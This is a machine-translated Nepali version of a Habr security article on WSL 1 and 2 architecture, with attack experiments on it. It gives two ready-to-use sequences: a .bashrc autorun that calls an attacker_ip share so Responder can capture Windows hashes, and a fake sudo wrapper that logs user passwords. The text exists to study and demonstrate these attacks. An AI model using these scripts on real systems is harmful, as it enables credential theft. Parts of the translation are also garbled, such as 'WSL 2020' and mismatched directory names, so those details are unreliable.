WSL प्रयोगहरू। भाग 1

नमस्ते! OTUS ले अक्टोबरमा नयाँ पाठ्यक्रम स्ट्रिम सुरु गर्छ "लिनक्स सुरक्षा"। पाठ्यक्रमको सुरुवातको प्रत्याशामा, हामी हाम्रा एक शिक्षक, अलेक्ज्याण्डर कोलेस्निकोभले लेखेको लेख तपाईसँग साझा गर्दैछौं।

2016 मा, माइक्रोसफ्टले आईटी समुदायमा नयाँ WSL प्रविधि प्रस्तुत गर्‍यो (Wभत्किएको छ Sको लागि ubsystem Linux), जसले भविष्यमा सामान्य र उन्नत OS प्रयोगकर्ताहरू: विन्डोज र लिनक्स दुवै बीच लोकप्रियताको लागि लडिरहेका पहिलेका असंगत प्रतिस्पर्धीहरूलाई एकताबद्ध गर्न सम्भव बनायो। यो टेक्नोलोजीले लिनक्स चलाउन आवश्यक बिना Windows वातावरणमा लिनक्स ओएस उपकरणहरू प्रयोग गर्न सम्भव बनायो, उदाहरणका लागि, बहु-बुट प्रयोग गरेर। Habr मा तपाईंले WSL प्रयोग गर्ने फाइदाहरू वर्णन गर्ने लेखहरूको ठूलो संख्या पाउन सक्नुहुन्छ। यद्यपि, दुर्भाग्यवश, यस लेखको सिर्जनाको समयमा, यस स्रोतमा अपरेटिङ सिस्टमहरूको यस्तो सिम्बायोसिसको सुरक्षामा कुनै अध्ययनहरू फेला परेनन्। यो पोस्ट यसलाई सच्याउने प्रयास हुनेछ। लेखले WSL 1 र 2 आर्किटेक्चरका सुविधाहरूको बारेमा कुरा गर्नेछ र यी प्रविधिहरू प्रयोग गरेर प्रणालीहरूमा आक्रमणहरूको धेरै उदाहरणहरू जाँच गर्नेछ। लेख २ भागमा विभाजन गरिएको छ। पहिलोले लिनक्स र विन्डोजबाट मुख्य सैद्धान्तिक आक्रमण विधिहरू प्रदान गर्नेछ। दोस्रो लेखमा परीक्षण वातावरण स्थापना गर्ने र आक्रमणहरू पुन: उत्पादन गर्ने समावेश हुनेछ।

WSL 1: वास्तु सुविधाहरू

WSL सुरक्षा मुद्दाहरूमा सबैभन्दा सही डुब्नको लागि, यो सबसिस्टमको कार्यान्वयनसँग सम्बन्धित मुख्य बारीकियों निर्धारण गर्न आवश्यक छ। WSL द्वारा हल गरिएको मुख्य प्रयोगकर्ता कार्यहरू मध्ये एक Windows OS चलिरहेको होस्टमा लिनक्स टर्मिनल मार्फत काम गर्ने क्षमता हो। साथै, प्रस्ताव गरिएको अनुकूलता यति नेटिभ थियो कि लिनक्स निष्पादन योग्यहरू (ELFs) सीधा Windows प्रणालीमा चलाउन सकिन्छ। यी लक्ष्यहरू प्राप्त गर्नको लागि, Windows 10 मा एक विशेष उपप्रणाली सिर्जना गरिएको थियो जसले तपाईंलाई विशिष्ट प्रणाली कलहरूको सेट प्रयोग गरेर लिनक्स अनुप्रयोगहरू चलाउन अनुमति दिन्छ - यसरी, Windows मा Linux syscalls को सेट नक्सा गर्ने प्रयास गरिएको थियो। यो भौतिक रूपमा नयाँ ड्राइभरहरू र नयाँ प्रक्रिया ढाँचा थपेर लागू गरिएको थियो। दृश्यात्मक रूपमा वास्तुकला यस्तो देखिन्छ:

वास्तवमा, लिनक्स अपरेटिङ सिस्टमसँग अन्तरक्रिया धेरै कर्नेल मोड्युलहरू र एक विशेष प्रकारको प्रक्रिया - पिको मार्फत व्यवस्थित गरिएको थियो। माथिको रेखाचित्रबाट, तपाइँ देख्न सक्नुहुन्छ कि होस्टमा लिनक्स उदाहरणमा चलिरहेको प्रक्रिया नेटिभ हुनुपर्छ र नियमित विन्डोज अनुप्रयोगहरू जस्तै समान स्रोतहरू प्रयोग गर्नुपर्छ। तर यो कसरी हासिल गर्ने? परियोजनामा ड्र्रब्रिज विन्डोजको लागि प्रक्रिया अवधारणाहरू विकसित गरिएको थियो जसले अर्को OS को अनुप्रयोग चलाउन अपरेटिङ सिस्टमका सबै आवश्यक घटकहरू (यसको संस्करणमा निर्भर गर्दछ) प्रदान गर्दछ।

ध्यान दिनुहोस् कि प्रस्तावित अमूर्तताले अपरेटिङ सिस्टम (विशेष गरी, विन्डोज) मा फोकस नगर्न सम्भव बनायो, जसमा अर्को OS को प्रक्रिया सुरु हुने अपेक्षा गरिएको छ, र सामान्य दृष्टिकोणको सुझाव दियो।

यसरी, पिको प्रक्रिया भित्रको कुनै पनि अनुप्रयोग विन्डोज कर्नेललाई ध्यान नदिई चलाउन सक्छ:

1. प्रणाली कलहरूको अनुकूलता र अनुवादको समस्याहरू विशेष प्रदायकहरूद्वारा समाधान गरिनुपर्छ;
2. पहुँच नियन्त्रण सुरक्षा मोनिटर मार्फत गर्नुपर्छ। मनिटर कर्नेलमा अवस्थित छ र त्यसैले Windows लाई नयाँ ड्राइभरको रूपमा अपग्रेड चाहिन्छ जुन त्यस्ता प्रक्रियाहरूको लागि प्रदायकको रूपमा कार्य गर्न सक्छ। प्रोटोटाइप पिको प्रक्रिया योजनाबद्ध रूपमा तल प्रस्तुत गरिएको छ:

लिनक्स फाइल प्रणालीले केस-सेन्सेटिभ फाइल र डाइरेक्टरी नामहरू प्रयोग गरेको हुनाले, WSL - VolFS र DriveFS सँग काम गर्न Windows मा २ प्रकारका फाइल प्रणालीहरू थपिएका थिए। VolFS Linux फाइल प्रणालीको कार्यान्वयन हो, DriveFS एक फाइल प्रणाली हो जसले Windows नियमहरू अनुसार काम गर्दछ, तर केस संवेदनशीलता चयन गर्ने क्षमता छ।

WSL 2

WSL 1 मा धेरै सीमितताहरू थिए जसले यसलाई कार्यहरूको अधिकतम दायरा समाधान गर्न प्रयोग गर्न अनुमति दिएनन्: उदाहरणका लागि, यसमा 32-बिट लिनक्स अनुप्रयोगहरू चलाउन सक्ने क्षमता थिएन, र यो उपकरण ड्राइभरहरू प्रयोग गर्न असम्भव थियो। त्यसकारण, २०२० मा, WSL 2020 जारी गरियो, जसले उपप्रणाली निर्माण गर्ने दृष्टिकोणलाई परिवर्तन गर्‍यो। WSL 2 एक अनुकूलित भर्चुअल मेसिन हो जसले WSL 2 को स्रोत खपत विशेषताहरूसँग मेल खान्छ। अब, विन्डोज ओएस प्रयोगकर्ता द्वारा समाधान गरिएका समस्याहरूको आधारमा, तपाइँ लिनक्स सबसिस्टमको आवश्यक संस्करण चयन गर्न सक्नुहुन्छ। सम्भावित कमजोरीहरूलाई कम गर्न, WSL 1 लाई Windows 2 मा Hyper-V को आधारमा लागू गरिएको थियो। यस फारममा, Windows सँग लिनक्स अपरेटिङ सिस्टम कर्नेललाई एक्लोसनमा चलाउन सक्ने क्षमता छ। यो याद गर्न लायक छ कि WSL को संस्करण 10 एक बीटा सुविधाको रूपमा प्रस्तुत गरिएको थियो जुन यस क्षेत्रमा विन्डोज विकासको दिशा देखाउने थियो, त्यसैले हाइपर-V मा संक्रमण अपरिहार्य थियो। अन्तिम वास्तुकला यस्तो देखिन्छ:

यस संस्करणमा, विन्डोज र लिनक्स कर्नेलहरूको आफ्नै स्रोतहरू छन् र फाईल प्रणालीमा प्रतिच्छेदन मात्र अवस्थित छ, तर यो प्रतिच्छेदन पूर्ण छैन। फाइल प्रणालीहरू बीचको अन्तर्क्रिया क्लाइन्ट-सर्भर र्यापर मार्फत गरिन्छ जुन 9P प्रोटोकल प्रयोग गरेर काम गर्दछ।

आज माइक्रोसफ्टले WSL 1 र WSL 2 बीच स्विच गर्ने क्षमता प्रदान गर्दछ। दुबै संस्करणहरू प्रयोगको लागि उपलब्ध छन्।

WSL सुरक्षा

यस समयमा, त्यहाँ धेरै कार्यहरू छन् जुन उपप्रणालीहरू बीचको सञ्चारलाई आक्रमण गर्न वैध OS उपकरणहरू प्रयोग गर्नका लागि केही दृष्टिकोणहरू वर्णन गर्दछ। हामी लेख्ने समयमा आक्रमणहरूको सान्दर्भिकता जाँच गर्न तिनीहरूको स्क्रिप्टहरू प्रयोग गर्नेछौं। आक्रमण र परिदृश्यहरूको सामान्य सूची:

1. फाइल प्रणाली कार्यान्वयन: पहुँच अधिकार, साझा डाइरेक्टरी/डेटा विनिमय संयन्त्रहरूको उपलब्धता।

बाट पहुँच नियमहरूको उल्लङ्घन निर्धारण गर्न अनुसन्धान गरिएको थियो लिनक्स FS->Windows FS, Windows FS->Linux FS। अनुसन्धानले लक्षित OS भित्र दिइएको फाइल परिमार्जन गर्ने क्षमता देखाएको छ। प्रतिस्थापन गर्न, डुप्लिकेटहरू सिर्जना गर्न र फाइल प्रणालीको अंश मेटाउने प्रयासहरू पनि गरियो।

परिदृश्य:

• A. विन्डोज अपरेटिङ सिस्टमबाट आक्रमण - Linux OS को /etc डाइरेक्टरीबाट फाइलहरूको परिमार्जन।
• B. लिनक्स अपरेटिङ सिस्टमबाट आक्रमण - डाइरेक्टरीहरूमा फाइलहरूको परिमार्जन: C:Windows, C:Program Files, C:Users<User>

2. नेटवर्क स्ट्याक को कार्यान्वयन।

विन्डोजमा लिनक्स अपरेटिङ सिस्टमबाट आक्रमणका उदाहरणहरू प्रयोग गरेर अनुसन्धान गरिएको थियो। सञ्जाल स्ट्याकका सुविधाहरू प्रयोग गरियो, अर्थात्, विभिन्न स्रोतहरूमा प्रमाणीकरण संयन्त्रहरू।

परिदृश्य:

• Windows प्रणालीमा ओगटेको पोर्टमा पहुँच खोल्दै
• उचित अधिकार बिना पोर्ट खोल्दै
• विन्डोज अपरेटिङ सिस्टममा एल्फ फाइल प्रयोग गरेर रिभर्स शेल चलाउँदै।

3. WSL उपप्रणाली प्रयोग गरेर मालिसियस सफ्टवेयर प्रक्रियाहरूको सुरुवात लुकाउँदै।

अनुसन्धान एक साधारण तथ्यमा आधारित थियो - सुरक्षा उपप्रणालीहरूले WSL 1 को मामलामा अपरेटिङ सिस्टमबाट वैध प्रदायक प्रयोग गरेर काम गर्ने अर्को कर्नेलमा घटनाहरू रोक्न सक्दैन। WSL 2 को मामलामा, घटनाहरू हेर्ने कुनै तरिका छैन। हल्का भर्चुअल मेसिन भित्र छुट्टै कर्नेलमा।

परिदृश्य:

1) प्रणालीमा रिमोट पहुँचको लागि अनुप्रयोग सुरु गर्नुहोस् र लग गरिएका घटनाहरू हेर्नुहोस्।

WSL 1 प्रयोगहरू: ह्यास अवरोध (विन्डोज)

अन्ततः हामी व्यावहारिक भागमा पुग्यौं। पहिले, तपाईंले परीक्षण वातावरण सेट अप गर्न आवश्यक छ। सबै प्रयोगहरू Windows 10 2004 स्थापना भएको बेन्चमा गरिनेछ। Ubuntu 18.04 छवि WSL को लागि अपरेटिङ सिस्टम छविको रूपमा छनोट गरिएको थियो। छवि अनियमित रूपमा छनोट गरिएको थियो, र कुनै पनि अन्य समान काम गर्नेछ। स्ट्यान्ड स्थापना गर्न आदेशहरू:

तपाईंले पहिले सुरु गर्नुपर्छ powershell.exe प्रशासकको रूपमा।

WSL 1 को लागी तपाईले आदेशहरू चलाउन आवश्यक छ:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

स्ट्यान्ड रिबुट गरेपछि, तपाइँ bash आदेश कल गर्न सक्नुहुन्छ। यदि सबै कुरा ठीकसँग काम गर्यो भने, तपाइँ विन्डोज कन्सोलमा यो जस्तै आउटपुट देख्नुहुनेछ:

हामी काली लिनक्स वितरणलाई आक्रमणकारीको मेसिनको रूपमा प्रयोग गर्नेछौं; सबै मेसिनहरू एउटै स्थानीय नेटवर्कमा हुनुपर्छ।

मानौं हामीसँग विन्डोज मेसिनमा WSL ​​मा विशेषाधिकाररहित पहुँच छ। लिनक्सबाट कमाण्ड कल गरेर लिनक्स अपरेटिङ सिस्टममा आक्रमण गर्ने प्रयास गरौं। आक्रमण कार्यान्वयन गर्न, हामी एक साधारण अटोरन प्रविधि प्रयोग गर्नेछौं - हामी लिनक्स वातावरणमा कार्यान्वयनको लागि हाम्रो स्क्रिप्ट थप्नेछौं। यो गर्नको लागि तपाईंले फाइल परिवर्तन गर्न आवश्यक छ .bashrc.

WSL को साथ मेसिनमा हामी कार्यान्वयन गर्छौं:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

काली लिनक्स मेसिनमा हामी चलाउँछौं:

1. Responder -I eth0 -rdvw

विन्डोज मेसिनमा, ब्यास सुरु गरौं।

हामी काली लिनक्स मेसिनमा नतिजाको लागि पर्खिरहेका छौं:

यसरी, हामीले लिनक्स प्रणालीमा आदेश कार्यान्वयन गरेर WSL उपप्रणाली मार्फत Windows प्रयोगकर्ता ह्यासहरू प्राप्त गर्यौं।

WSL 1 प्रयोगहरू: प्रयोगकर्ता पासवर्ड प्राप्त गर्दै (Linux OS)

अर्को एउटा प्रयोग गरौं। यस जाँचको क्रममा हामी फाइलमा थप्नेछौं .bashrc लिनक्स अपरेटिङ सिस्टम प्रयोगकर्ता पासवर्ड प्राप्त गर्न धेरै आदेशहरू।

ब्यास सुरु गरौं र आदेशहरू प्रविष्ट गरौं:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

आक्रमण सफलतापूर्वक पूरा गर्न, प्रयोगकर्ता सामले लिनक्स टर्मिनलमा sudo कल गर्न आवश्यक छ। यस पछि, लिनक्स ओएस प्रयोगकर्ता पासवर्ड फाइलमा हुनेछ pass.txt:

आक्रमणको कार्यान्वयन सैद्धान्तिक जानकारीको लागि मात्र दिइएको थियो।

लेखको अर्को भागले 9P प्रोटोकलको कार्यान्वयनको वर्णन गर्नेछ, यो प्रोटोकलको लागि स्क्यानरको सिर्जनालाई विचार गर्नुहोस्, र यसलाई प्रयोग गरेर आक्रमण पनि गर्नुहोस्।

प्रयोग साहित्य को सूची

• WSL 2 खराबीमा अनुसन्धान
• लिनक्स डकुमेन्टेसनको लागि विन्डोज सबसिस्टम

थप पढ्नुहोस्

• कसरी वास्तविक-समय लिनक्स कर्नेल प्याचिंग सफ्टवेयर छनौट गर्ने

स्रोत: www.habr.com